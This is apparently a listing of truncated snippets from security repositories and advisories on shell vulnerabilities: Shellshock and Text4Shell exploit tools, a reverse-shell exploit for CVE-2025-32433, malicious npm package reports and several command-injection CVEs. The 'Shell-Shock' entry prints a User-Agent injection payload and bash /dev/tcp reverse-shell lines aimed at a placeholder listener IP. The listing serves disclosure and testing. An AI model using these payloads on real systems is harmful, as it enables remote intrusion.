CVE-2022-42889

CVE-2022-42889 CVE-2022-42889 的 Python 脚本 要在本地测试，请按照 Docker POC 操作：https://github.com/karthikuj/cve-2022-42889-text4shell-docker PHP 版本见：https://github.com/ClickCyber/cve-2022-42889 如果你在本地运行并利用此漏洞，需要使用的 IP 是 Docker 容器创建时生成的网关地址。 获取 Docker 容器的 bash shell 后： 确保使用 chmod 使脚本可执行： ./cve-2022-42889.py...

ShellShockHunter

ShellShockHunter v1.0 一个用于测试 Shellshock 漏洞的简单工具 作者: MrCl0wn 博客: http://blog.mrcl0wn.com GitHub: https://github.com/MrCl0wnLab Twitter: https://twitter.com/MrCl0wnLab 邮箱: mrcl0wnlab@\gmail.com Shellshock（软件缺陷） Shellshock（又称 Bashdoor）是 Unix Bash shell 中的一系列安全漏洞家族，第一个漏洞于 2014 年 9 月 24 日披露。Shellshock...

CVE-2019-10149-quick

CVE-2019-10149-quick 简单的 Bash shell 快速修复 CVE-2019-10149...

CVE-2014-6271

CVE-2014-6271 Shellshock Python 漏洞利用工具 一个简洁、高效且交互式的 Python 实现，用于通过 HTTP 环境变量注入测试 Shellshock 漏洞（CVE-2014-6271）。 📝 描述 Shellshock （CVE-2014-6271）是 Bash shell 中的一个严重安全漏洞，攻击者可将任意命令附加到存储在环境变量中的函数定义末尾来执行命令。 此脚本针对使用 CGI（通用网关接口） 脚本的 Web 服务器。当服务器将 HTTP 头部（例如 User-Agent）传递给基于 Bash 的 CGI...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 远程 Shell 基于 Go 的 CVE-2025-32433 漏洞利用程序，可返回远程 bash shell。 其漏洞利用原理很大程度上参考了 ProDefense 针对 CVE-2025-32433 的 PoC。 运行漏洞利用程序 make exploit.exe 也通过交叉编译的 Makefile 提供给 Windows 机器使用。 然后通过以下 2 种方式之一执行漏洞利用二进制文件： 命令 ./exploit "" 注意：不会返回命令的输出 反向 Shell nc -lnvp ./exploit 环境搭建 使用 ProDefense 的...

Shell-Shock

Shell Shock 作者 : [email protected] 维护者 : 部门 : DevOps 许可证 : 概述 Shell Shock : 特权提升，远程代码执行 Unix Bash Shell 中的一系列漏洞。允许执行任意命令。 利用向量 有效载荷 shellshock 用户代理 = User-Agent: :; ; rshell 载荷 = bash -i & /dev/tcp/127.0.0.1 rshell 重定向到监听器 = bash -i & /dev/tcp/$YOURIP:$PORT 技巧 设计 : 目的 : 内容 : 服务器 : 应用 : 数据库 :...

CVE-2014-6271

Shellshock脆弱性チェッカー このスクリプトは、ウェブサイトがShellshock脆弱性（CVE-2014-6271）に対して脆弱かどうかをチェックします。 概要: Shellshock脆弱性（別名Bashdoor）は、2014年9月にUnix Bashシェルで発見されたセキュリティ上の欠陥です。この脆弱性により、攻撃者はBashが環境変数を処理する方法の欠陥を悪用して、システム上で任意のコードやコマンドを実行できます。これにより、攻撃者は脆弱なシステムを完全に制御できる可能性があります。 使用方法:...

CVE-2014-6271_pwnable

CVE-2014-6271 CVE-2014-6271 es una vulnerabilidad grave conocida como "Shellshock", descubierta y divulgada en 2014. Esta vulnerabilidad se encontró en el shell Bash y afecta a casi todos los sistemas Unix y Linux, siendo una de las vulnerabilidades más conocidas en Internet. Amenaza de seguridad...

Malicious code in f-termx (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7f050d397c72fdb9336deba1e2ca6758d04625323e7bb4746d8b61964cc671ae The package's main entrypoint index.js and src/server.js start an HTTP + Socket.IO server bound to 0.0.0.0 and are designed to be published to the...

MAL-2026-13610 Malicious code in f-termx (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7f050d397c72fdb9336deba1e2ca6758d04625323e7bb4746d8b61964cc671ae The package's main entrypoint index.js and src/server.js start an HTTP + Socket.IO server bound to 0.0.0.0 and are designed to be published to the...

Chinese-Made Zbtlink Routers Ship With Backdoor That Opens Unauthenticated Root Shells

Cybersecurity researchers have disclosed details of a "factory-shipped backdoor" implanted in at least 20 Chinese router models from Zbtlink. According to a new report from VulnCheck, the implant appears in all 21 firmware images currently available from Zbtlink that span more than 2 years. The...

Malicious code in log-taker (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 30b4bde2f8e6fa87d896e86967b814a70ae3e46f1b1d58ed4552d1d909fbfcfe index.js imports childprocess and invokes execSync with bash and zsh shell strings around lines 315 and 331. The pattern of spawning interactive shel...

Command Injection

Overview Affected versions of this package are vulnerable to Command Injection via the check field in metadata files due to unsafe execution using /bin/bash -c. An attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations suc...

Command Injection

Overview Affected versions of this package are vulnerable to Command Injection via the check field in metadata files due to unsafe execution using /bin/bash -c. An attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations suc...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism. Summary A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c...

CVE-2026-0596 Command Injection in mlflow/mlflow

A command injection vulnerability exists in mlflow/mlflow when serving a model with enablemlserver=True. The modeluri is embedded directly into a shell command executed via bash -c without proper sanitization. If the modeluri contains shell metacharacters, such as $ or backticks, it allows for...

CVE-2026-32094 Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash

Shescape is a simple shell escape library for JavaScript. Prior to 2.1.10, Shescapeescape does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like...